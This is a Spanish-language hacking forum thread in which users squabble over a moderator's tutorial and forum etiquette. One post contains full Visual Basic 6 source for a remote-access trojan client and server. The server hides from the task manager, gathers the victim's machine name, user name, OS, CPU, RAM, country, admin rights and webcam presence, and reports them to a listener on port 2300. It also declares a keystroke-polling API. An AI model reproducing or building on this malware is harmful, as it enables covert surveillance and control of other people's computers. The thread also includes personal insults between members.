• Manuales

 #45267  por shark0
 13 Ene 2009, 19:03
Thats escribió:Alguien puede dejarlo para bajar Sharki o alguien? Muchas gracias.
Pues es facil copias y pegas en el wordpad.

Saludos!
 #45304  por hack-x
 13 Ene 2009, 22:19
SharkI escribió:
Thats escribió:Alguien puede dejarlo para bajar Sharki o alguien? Muchas gracias.
Pues es facil copias y pegas en el wordpad.

Saludos!
Así es ... no tiene vueltas ..
pero mejor si lo copiás y lo pegás en el block de notas (ya que a veces el wordpad está configurado con "ajuste de línea" y eso estropea todo (empero ... a veces también configuran el notepad con ajuste de línea ... así que fijate que no esté configurado así ninguno de ambos o al menos con el editor de texto con el que vas a trabajar)
Saludos
 #45344  por Thats
 14 Ene 2009, 02:31
Me refiero al compilado,
 #45452  por shark0
 14 Ene 2009, 18:12
Thats escribió:Me refiero al compilado,
Ahora dime tu.., tu crees que te tendria que ayudar despues de tantas criticas (?)..
 #45456  por Thats
 14 Ene 2009, 18:38
Nose, eres moderador, No estas para eso?
 #45457  por shark0
 14 Ene 2009, 18:42
Thats escribió:Nose, eres moderador, No estas para eso?
Sip, pero creo que no te podre ayudar esta vez, que te crees que me podes insultar criticar mandar indirectas y luego pedirme ayuda ? que te crees que soy un objeto?
 #45463  por Z40R3
 14 Ene 2009, 19:20
ColdBath escribió:Es parecido al Octopus O no?
que kbron!!!
 #45579  por Thats
 15 Ene 2009, 04:33
Muy parecido, ya no me creo lo de " Lo programe desde 0 "
 #45600  por hack-x
 15 Ene 2009, 08:01
Thats escribió:Nose, eres moderador, No estas para eso?
REGLAS DEL FORO
[ Debe registrarse para ver este enlace ]
7. Exigimos educación a nuestros Usuarios, Moderadores y Administradores. Nadie recibe dinero por colaborar en la comunidad, nos ayudamos gratis. Por ello apreciamos a la gente agradecida, usar un “por favor” o un “gracias por tu ayuda” siempre será una buena forma de hacer ver que apreciamos el tiempo que otros han gastado leyéndonos.....
aparte ... querés todo regalado también???.. si ves este hilo del foro se supone que es para hacer por vos mismo el trabajo ... no para pedir de regalo todo ...
 #45614  por HypNosS
 15 Ene 2009, 10:15
Moderadores y Administradores no estamos para ayudar, lo hacemos si queremos, cuando queremos, con quien queremos... no te confundas... Nuestra funcion se centra la administracion del sitio, y aca nadie es sirviente de nadie.

Que quede bien claro ese punto por favor.
 #45629  por tercer_ojo
 15 Ene 2009, 14:43
La única forma de que esto
Código: Seleccionar todo
Public Const ws_child = &H40000000
Public Const ws_visible = &H10000000
Public Const WM_USER = 1024
Public Const wm_cap_driver_connect = WM_USER + 10
Public Const wm_cap_set_preview = WM_USER + 50
Public Const WM_CAP_SET_PREVIEWRATE = WM_USER + 52
Public Const WM_CAP_DRIVER_DISCONNECT = WM_USER + 11
Public Const WM_CAP_DLG_VIDEOFORMAT = WM_USER + 41
Public Const WM_CAP_DLG_VIDEOCONFIG = WM_USER + 42
Public Const WM_CAP_SET_SCALE = WM_USER + 53
te mande un error, descartando los errores de sintaxis tipicos, seria que tengas un conflicto de alcance (scope). Entiendo que lo has declarado todo en el [general] de un formulario. Pues bien, te explico: variables, constantes, funciones, rutinas y estructuras de datos con el atributo 'public' son de alcance de proyecto, es decir, que se pueden referenciar en todos los modulos y formularios de un proyecto. Pero un formulario no tiene ese alcance: los miembros de un formulario no son de alcance 'public'. Para declarar miembros 'public' necesitas un módulo o módulo de clase. Por lo tanto, o cambiás todos los 'public' a 'private', o trasladás todos los 'public' a un módulo .bas, para que se puedan referenciar desde todo el proyecto.
 #45667  por shark0
 15 Ene 2009, 19:24
SharkI escribió:
ColdBath escribió:Es parecido al Octopus O no?
Jaja que cabron.. xD la verdad que cuando empezé a hacerlo cogi la base de aqui.
Me ayudó mucho.

Saludos!
Ahi tienes, cuando dije yo que lo programe desde 0¿
Pedazo crio de mierda, cierra la boca si no sabes lo que hablas
 #45688  por Thats
 15 Ene 2009, 21:35
Me lo dijistes por MSN, " Mis cosas las programo de 0" , Bueno pero no quiero empesar a discutir, Te pido disculpas,

En cuanto al troyano:

Cliente:
Código: Seleccionar todo
Public total As Integer
Private Sub form_load() 'al cargar el formulario
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub
Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To lv.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(lv.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
lv.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Troyanito - " & lv.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el n? de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar  nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If lv.SelectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se puls? el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
lv.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String) 'despues de cambiar el nombre
WS(lv.SelectedItem.Index - 1).SendData "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos As String
Dim data() As String 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
data = Split(datos, "|") 'partimos la variable datos por el identificador "|",para separar datos
Select Case data(0) 'seg?n lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
Dim x As ListItem
Set x = lv.ListItems.Add(, Index & "|", data(1)) 'a?adimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que a?adimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub
Server:
Código: Seleccionar todo
Private Declare Function IsNTAdmin Lib "advpack.dll" (ByVal dwReserved As Long, ByRef lpdwReserved As Long) As Long

Private Type POINTAPI
        x As Long
        y As Long
End Type
Private Declare Function GetLocaleInfo Lib "kernel32" Alias "GetLocaleInfoA" _
                         (ByVal Locale As Long, ByVal LCType As Long, ByVal _
                          lpLCData As String, ByVal cchData As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" ( _
    ByVal lpstrCommand As String, _
    ByVal lpstrReturnString As String, _
    ByVal uReturnLength As Long, _
    ByVal hwndCallback As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that If you declare the lpData parameter as String, you must pass it By Value.
    Private Const REG_BINARY = 3
    Private Const HKEY_LOCAL_MACHINE = &H80000002
    Private Const ERROR_SUCCESS = 0&
Const LOCALE_USER_DEFAULT = &H400
Const LOCALE_SENGCOUNTRY = &H1002
Const LOCALE_SENGLANGUAGE = &H1001
Const LOCALE_SNATIVELANGNAME = &H4
Const LOCALE_SNATIVECTRYNAME = &H8


Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName") 'esta variable contendrá el nombre del pc
name1 = Environ("UserName") 'el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProductname") 'el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINEHARDWAREDESCRIPTIONSystemCentralProcessorProcessorNameString") 'júntenlo, es k no cabía, es para el procesador...."
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, 0, 0, 320, 240, Picture1.hwnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function

Private Sub Timer1_Timer()
If Ws.State <> 7 Then 'si no estamos conectados
Ws.Close 'cerramos
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
Ws.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
Ws.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End Select
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

End Sub
Ir a la ventana de proyecto y agregar 3 Modulos.

Modulo1:
Código: Seleccionar todo
ption Explicit
' declaraciones Api, constantes, variables
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Const ws_child = &H40000000
Public Const ws_visible = &H10000000
Public Const WM_USER = 1024
Public Const wm_cap_driver_connect = WM_USER + 10
Public Const wm_cap_set_preview = WM_USER + 50
Public Const WM_CAP_SET_PREVIEWRATE = WM_USER + 52
Public Const WM_CAP_DRIVER_DISCONNECT = WM_USER + 11
Public Const WM_CAP_DLG_VIDEOFORMAT = WM_USER + 41
Public Const WM_CAP_DLG_VIDEOCONFIG = WM_USER + 42
Public Const WM_CAP_SET_SCALE = WM_USER + 53

'Api para crear la ventana de captura
Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" _
    Alias "capCreateCaptureWindowA" ( _
    ByVal lpszWindowName As String, _
    ByVal dwStyle As Long, _
    ByVal x As Long, _
    ByVal y As Long, _
    ByVal nWidth As Long, _
    ByVal nHeight As Long, _
    ByVal hWndParent As Long, _
    ByVal nID As Long) As Long

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
    ByVal hwnd As Long, _
    ByVal wMsg As Long, _
    ByVal wParam As Long, _
    lParam As Any) As Long

Public Declare Function DestroyWindow Lib "user32" (ByVal hndw As Long) As Boolean
'Solo 16 Bits (vb2, vb3 y vb4  de 16)
'Declare Function SendMessage Lib "User" ( _
    ByVal hWnd As Integer, _
    ByVal wMsg As Integer, _
    ByVal wParam As Integer, _
    lParam As Any) As Long
'Api para crear la ventana de captura
'Declare Function capCreateCaptureWindow Lib "avicap.dll" ( _
    ByVal lpszWindowName As String, _
    ByVal dwStyle As Long, _
    ByVal x As Integer, _
    ByVal y As Integer, _
    ByVal nWidth As Integer, _
    ByVal nHeight As Integer, _
    ByVal hwndParent As Integer, _
    ByVal nID As Integer) As Long
'Declare Function DestroyWindow Lib "User" (ByVal hndw As Integer) As Integer
Public hwdc As Long
Public startcap As Integer
Modulo 2:
Código: Seleccionar todo
Option Explicit
Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Type MEMORYSTATUS
 dwLength As Long
 dwMemoryLoad As Long
 dwTotalPhys As Long
 dwAvailPhys As Long
 dwTotalPageFile As Long
 dwAvailPageFile As Long
 dwTotalVirtual As Long
 dwAvailVirtual As Long
 End Type
Modulo3:
Código: Seleccionar todo
Option Explicit
Declare Function apikey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Si tienen problemas creando un settings, o un builder me dicen.
 #46474  por HypNosS
 20 Ene 2009, 00:43
mmmmmmm...

acabo de borrar nuevamente mensajes cuestionando el accionar de nuestro ilustre moderador SharkI... si siguen rompiendo las pelotas lo vamos a poner de admin asi que basta...